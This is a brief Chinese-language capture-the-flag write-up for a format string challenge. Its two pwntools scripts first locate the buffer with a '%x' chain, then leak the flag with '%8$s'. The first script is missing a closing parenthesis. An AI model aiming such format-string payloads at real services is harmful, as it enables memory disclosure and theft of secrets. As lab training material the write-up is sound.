知识点:
格式化字符串漏洞
因为是用的read,其实应该也可以构造shellcode,但是好像全开了
但是因为这道题,自己读取了flag
所以我们找到flag和buf差多少
发现ptr(存flag)和buf差2
我们去找到buf
from pwn import *
io=process("./pwn")
#io=remote("challenge.basectf.fun",35185)
elf=ELF("./pwn")
context(arch=elf.arch,os=elf.os,log_level = "debug")
payload=flat(b'aaaa'+b'-%x'*20
io.send(payload)
io.recv()
io.interactive()
我们可以发现buf是在第十个参数
那么ptr就是第八个
from pwn import *
io=process("./pwn")
#io=remote("challenge.basectf.fun",35185)
elf=ELF("./pwn")
context(arch=elf.arch,os=elf.os,log_level = "debug")
payload=flat(b'%8$s')
io.send(payload)
io.recv()
io.interactive()
成功!